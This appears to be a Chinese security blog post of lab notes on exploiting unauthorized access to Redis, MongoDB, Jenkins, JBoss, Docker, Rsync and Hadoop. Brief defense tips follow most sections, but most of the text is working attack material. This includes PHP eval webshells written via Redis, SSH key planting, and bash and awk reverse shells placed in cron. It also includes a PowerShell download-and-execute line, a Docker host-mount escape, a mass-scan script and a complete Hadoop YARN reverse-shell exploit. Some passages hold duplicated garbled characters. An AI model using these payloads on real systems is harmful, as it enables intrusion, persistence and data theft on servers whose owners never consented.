未授权访问学习
redis未授权
前置知识
REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库。
配置
CONFIG GET *
获取全部配置config set xxx
新增配置
数据类型
String(字符串)
Hash(哈希)List(列表)Set(集合)
常用命令
set name "payload"
设置一个键值config set dir payload文件放的路径
设置数据文件的路径config set dbfilename name
设置保存数据的文件名save
保存操作
例如将一个简单的一句话写入/var/www/html
> config set dir /var/www/html
OK
> set a "<?php @eval($_POST["cmd"]); ?>"
ERR unknown command 'set a "<?php @eval($_post["cmd"]); ?>"'
> set a "<?php @eval($_POST[\"cmd\"]); ?>" #得转义
OK
> config set dbfilename redis_test.php
OK
> save
OK
查看写入的文件
可以看出除了写进去的文件,一般还会有版本信息,所以最好是写之前加上一些换行符,保证shell是正常的。set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
简介
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进⾏行行采⽤用相关的策略略,⽐比如添加防⽕火墙规 则避免其他⾮非信任来源 ip 访问等,这样将会将 Redis 服务暴暴露露到公⽹网上,如果在没有设置密码认证 (⼀一般为空)的情况下,会导致任意⽤用户在可以访问⽬目标服务器器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利利⽤用 Redis ⾃自身的提供的config 命令,可以进 ⾏行行写⽂文件操作,攻击者可以成功将⾃自⼰己的ssh公钥写⼊入⽬目标服务器器的 /root/.ssh ⽂文件夹的 authotrized_keys ⽂文件中,进⽽而可以使⽤用对应私钥直接使⽤用ssh服务登录⽬目标服务器器、添加计划任 务、写⼊入Webshell等操作。
利用条件
Redis服务暴露公网或者可以访问到;没有设置密码认证
环境搭建
- 下载
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
- 编译
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进⼊入redis⽬目录
make #编译
- 启动服务
cd src/ #进⼊入src⽬目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷⻉贝到/usr/bin⽬目录下(这样启动 redis-server和redis-cli就不不⽤用每次都进⼊入安装⽬目录了了)
cd .. # 返回上⼀一级⽬目录
cp redis.conf /etc/ #将redis.conf拷⻉贝到/etc/⽬目录下
redis-server /etc/redis.conf # 使⽤用/etc/⽬目录下的redis.conf⽂文件中的配置启动redis服务
成功启动服务
- 启动Apache服务
/etc/init.d/apache2 start
redis写shell
利用Redis写webshell进网站目录/var/www/html/
config set dir /var/www/html
config set dbfilename test.php
set webshell "<?php phpinfo(); ?>"
save
成功写入
Redis写公钥文件以使用ssh登录
免密登录ssh前置知识
ssh-keygen创建公钥-私钥对
常见参数
-t: 密钥类型, 可以选择 dsa | ecdsa | ed25519 | rsa;
-f: 密钥目录位置, 默认为当前用户home路径下的.ssh隐藏目录, 也就是~/.ssh/, 同时默认密钥文件名以id_rsa开头. 如果是root用户, 则在/root/.ssh/id_rsa, 若为其他用户, 则在/home/username/.ssh/id_rsa;
-C: 指定此密钥的备注信息, 需要配置多个免密登录时, 建议携带;
-N: 指定此密钥对的密码, 如果指定此参数, 则命令执行过程中就不会出现交互确认密码的信息了.
生成的文件以redis_rsa开头, redis_rsa是私钥, redis_rsa.pub是公钥:
将公钥导入到服务器上的.ssh目录下即可
实操
ssh-keygen -t rsa -C "redis_test"
生成一个rsa加密的公私钥对,然后选择保存的位置,默认会保存在用户.ssh文件下的id_rsa。若是不想覆盖,则使用-f 加上路径及文件名字,若是rsa加密,则必须以rsa结尾ssh-keygen -t rsa -f /Users/username/.ssh/redis_rsa -C "redis_test"
> config set dir /.ssh
ERR Changing directory: No such file or directory
> config set dir /root/.ssh
OK
> config set dbfilename authorized_keys
OK
> set x "\r\n\r\n ssh-rsa xxxxx redis_test \r\n\r\n" #将redis_rsa.pub的内容复制到这
OK
> save
OK
> del x
1
使用ssh -i 私钥文件 user@ip 进行登录
利用Linux计划任务crontab反弹shell(需要权限足够)
redis-cli.exe -h 192.168.18.138
config set dir /var/spool/cron
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1\n\n\n"
config set dbfilename root
save
windows系统的redis利用
利用cs写文件进启动项(缺点:需要重启或者人为点击)
- cs选择Attacks – Web Drive-By – Script Web Delivery,选择刚才添加的Listener
- redis写入shell
redis-cli -h 目标ip -p 6379
redis 目标ip:6379>config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
redis 目标ip:6379> CONFIG SET dbfilename 1.bat
OK
redis 目标ip:6379>set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://csip:80/a'))\"\r\n\r\n
# 注意这里的双引号要转义,windwos路径的start menu中间一个空格
OK
redis 192.168.1.101:6379> save
OK
重启电脑后成功执行
写入mof(限制win2003)
https://www.freebuf.com/articles/web/256655.html
参考文章和win搭建redis资源:
https://github.com/ServiceStack/redis-windows
MongoDB 未授权
前置知识
简介
MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。
MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
漏洞简介:
开启MongoDB服务时不不添加任何参数时,默认是没有权限验证的,登录的⽤用户可以通过默认端⼝口⽆无 需密码对数据库任意操作(增、删、改、查⾼高危动作)⽽而且可以远程访问数据库。
造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 --auth 也很少会有⼈人会给数据库 添加上账号密码(默认空⼝口令),使⽤用默认空⼝口令这将导致恶意攻击者⽆无需进⾏行行账号认证就可以登陆 到数据服务器器。
SQL对应noSQL相关关键字
表就对应是collection
每条记录就是document
每个字段就是field
基本语法
use xxx
不存在则创建新的数据库,存在则使用该数据库show dbs
查看所有的数据库db.runoob.insert({"name":"菜鸟教程"})
插入记录show collection
查看所有集合(即表)db.collection.find(query, projection)
查询集合数据
环境搭建
docker pull mongo
拉取一个镜像docker run -d -p 27017:27017 --name mongodb mongo
创建⼀一个新的容器器并运行⼀个命令
实操
简单的批量扫描脚本
import pymongo
def check(host):
myclient = pymongo.MongoClient(f'mongodb://{host}:27017/')
try:
dblist = myclient.list_database_names()
print(host+"连接成功")
except Exception:
return False
if __name__ == '__main__':
with open('monogoedu.txt','r') as f:
for line in f.readlines():
check(line.strip())
print("over!")
防御方式
- 为MongoDB添加认证:MongoDB启动时添加--auth参数、为MongoDB添加⽤用户
- MongoDB ⾃自身带有⼀一个HTTP服务和并⽀支持REST接⼝口。在2.6以后这些接⼝口默认是关闭的。 mongoDB默认会使⽤用默认端⼝口监听web服务,⼀一般不不需要通过web⽅方式进⾏行行远程管理理,建议禁⽤用。 修改配置⽂文件或在启动的时候选择 –nohttpinterface 参数 nohttpinterface=false
- 启动时加⼊入参数--bind_ip 127.0.0.1 或在/etc/mongodb.conf⽂文件中添加以下内容:bind_ip = 127.0.0.1
Jenkins 未授权
简介
默认情况下 Jenkins⾯面板中⽤用户可以选择执⾏行行脚本界⾯面来操作⼀一些系统层命令,攻击者可通过未 授权访问漏漏洞洞或者暴暴⼒力力破解⽤用户密码等进⼊入后台管理理服务,通过脚本执⾏行行界⾯面从⽽而获取服务器器权限。
环境搭建
wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb
下载dpkg -i jenkins_1.621_all.deb
安装sudo apt-get -f --fix-missing install
安装显示缺少依赖项执行service jenkinis start
启动服务/etc/init.d/jenkins start
kali这样启动- 访问8080端口,搭建成功
实操测试
来到系统管理的脚本命令行http://192.168.197.128:8080/script
- 执行系统命令
println "whoami".execute().text
- 拥有权限的情况下向网站路径写shell
new File("/var/www/html/media.php").write('<?php @eval($_POST[cmd]);?>');
- wget下载back.py反弹shell
println "wget http://xxx/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 7777".execute().text
- CVE-2017-1000353 Jenkins-CI远程代码执行
更多姿势参考:
https://www.secpulse.com/archives/2166.html
https://www.freebuf.com/articles/web/242764.html
防御手段
- 升级版本。
- 添加认证,设置强密码复杂度及账号锁定。
- 禁⽌止把Jenkins直接暴暴露露在公⽹网。
JBOSS 未授权访问
简介
JBoss是⼀一个基于J2EE的开放源代码应⽤用服务器器,代码遵循LGPL许可,可以在任何商业应⽤用中免 费使⽤用;JBoss也是⼀一个管理理EJB的容器器和服务器器,⽀支持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访 问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理理的信息不不需要输⼊入⽤用户名和密码可以直 接部署上传⽊木⻢马有安全隐患。
环境搭建
docker pull testjboss/jboss:latest
docker run -p 8080:8080 -d testjboss/jboss
实操复现
- 进入jmx-console
- 搜索jboss.deployment,并进入
- 进入冰蝎server目录,生成一个jsp马,放到kali或者服务器上。
jar cvf shell.war shell.jsp
- 在addURL方法出填上木马地址,并点击调用该方法,然后成功上传木马
- 访问http://127.0.0.1:8080/shell/
- 访问shell.jsp。使用冰蝎连接默认密码为rebeyond
防御手段
- 对jmx控制⻚页⾯面访问添加访问验证。
- 进行JMX Console 安全配置。
Docker 未授权访问
简介
Docker Remote API 是⼀一个取代远程命令⾏行行界⾯面(rcli)的REST API。存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过 这个接⼝口,我们可以新建 container,删除已有 container,甚⾄至是获取宿主机的 shell。
环境搭建
#下载环境
mkdir docker
cd docker
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized- rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-
rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-
rce/docker-entrypoint.sh
chmod 777 docker-entrypoint.sh # 给docker-entrypoint.sh权限
docker-compose build && docker-compose up -d # 编译并启动环境
未授权测试
远程连接docker -H tcp://192.168.197.128:2375 version
直接访问网页则是报错页面
加上version则出现信息
若是失败了按照这篇博客参考是否开启了远程访问配置:https://blog.csdn.net/qq_41461323/article/details/105644037
通过逃逸虚拟机后利用计划任务反弹宿主机shell
- 通过拉取镜像,然后挂载主机目录进行docker逃逸并写入宿主机计划任务。
进入某个镜像的shell环境,
若是没有则新拉取一个镜像docker -H tcp://192.168.241.142:2375 pull alpine
docker -H tcp://192.168.241.142:2375 images
查看镜像
docker -H tcp://192.168.241.142:2375 run -it --privileged alpine /bin/sh
!!当操作者执行docker run —privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
- 进入shell之后,使用挂载的方式逃逸虚拟机
fdisk -l
查看磁盘文件
- 然后创建一个新的文件夹
mkdir /test
- 将宿主机的目录挂载到当前文件夹下
mount /dev/sda1 /test/
- 进入test目录则相当于进入宿主机的根目录
,创建一个文件到宿主机查看是否创建成功。可以看到创建成功
- 新建一个sh文件,将反弹shell写入,并将写入计划任务中
vi dockerfantan.sh
#这里使用awk反弹shell
#awk 'BEGIN {s = "/inet/tcp/0/192.168.123.1/7777"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
echo '* * * * * /dockerfantan.sh' >> /test/var/spool/cron/crontabs/ro
ot
攻击机成功监听到shell
不想自己写的,并且靶机有python环境的,也可以使用wget下载back.py进行反弹shell。这里回顾一下
wget http://xxxx/back.py
echo '* * * * * python back.py 192.168.197.1 7777' >> /test/var/spool
/cron/crontabs/root
同样可以获取shell。
漏洞防御
- 简单粗暴暴的⽅方法,对2375端⼝口做⽹网络访问控制,如ACL控制,或者访问规则。
- 修改docker swarm的认证⽅方式,使⽤用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇⽂文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前, 会⾸首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执⾏行。
Rsync 未授权访问
简介
Rsync(remote synchronize)是⼀一个远程数据同步⼯工具,可通过 LAN/WAN 快速同步多台主机 间的⽂文件,也可以同步本地硬盘中的不不同⽬目录。Rsync 默认允许匿匿名访问,如果在配置⽂文件中没有相 关的⽤用户认证以及⽂文件授权,就会触发隐患。Rsync 的默认端⼝口为 837。
环境搭建
wget https://minhaskamal.github.io/DownGit/#/home?url=https://github.com/vulhub/vulhub/tree/master/rsync/common
unzip common.zip
- 进入common
docker-compose build && docker-compose up -d
未授权测试
语法 rsync rsync://{target_ip}/
下载任意文件
rsync rsync://172.16.2.250:873/src/etc/passwd ./
上传文件到crontab反弹shell
- 下载crontab配置文件
rsync rsync://172.16.2.250:873/src/etc/crontab ./
- 创建一个文件并写入shell
/bin/bash -i &> /dev/tcp/192.168.197.128.1:7777 0>&1
- 上传shell
rsync -av rsync_shell rsync://192.168.197.128/src/etc/cron.hourly
漏洞防御
- 账户认证:正确配置认证⽤用户名及密码。
- 权限控制:使⽤用合理理的权限。
- ⽹网络访问控制:控制接⼊入源ip。
- 数据加密传输等
Hadoop 未授权访问
简介
Hadoop是⼀一个由Apache基⾦金金会所开发的分布式系统基础架构,由于服务器器直接在开放了了 Hadoop 机器器 HDFS 的 50070 web 端⼝口及部分默认服务端⼝口,⿊黑客可以通过命令⾏行行操作多个⽬目录下 的数据,如进⾏行行删除,下载,⽬目录浏览甚⾄至命令执⾏行行等操作,产⽣生极⼤大的危害。
环境搭建
mkdir hadoop
cd hadoop/
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-
yarn/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-
yarn/exploit.py
docker-compose build && docker-compose up -d #编译并启动环境
未授权测试
访问 http://192.168.197.128:8088/cluster
利用原理及exp
通过REST API命令执⾏。
在本地监听端⼝口 >> 创建Application >> 调⽤用Submit Application API提交
exp
#!/usr/bin/env python
import requests
target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
漏洞防御
- 如⽆无必要,关闭 Hadoop Web 管理理⻚页⾯面。
- 开启身份验证,防⽌止未经授权⽤用户访问。
- 设置“安全组”访问控制策略略,将 Hadoop 默认开放的多个端⼝口对公⽹网全部禁⽌止或限制可信任的 IP 地 址才能访问包括 50070 以及 WebUI 等相关端⼝口。
更多未授权:http://luckyzmj.cn/posts/15dff4d3.html#toc-heading-75
版权声明:本文为原创文章,版权归 Bill's Blog 所有,转载请注明出处!如相关链接出现404,可以在文章下面评论留言。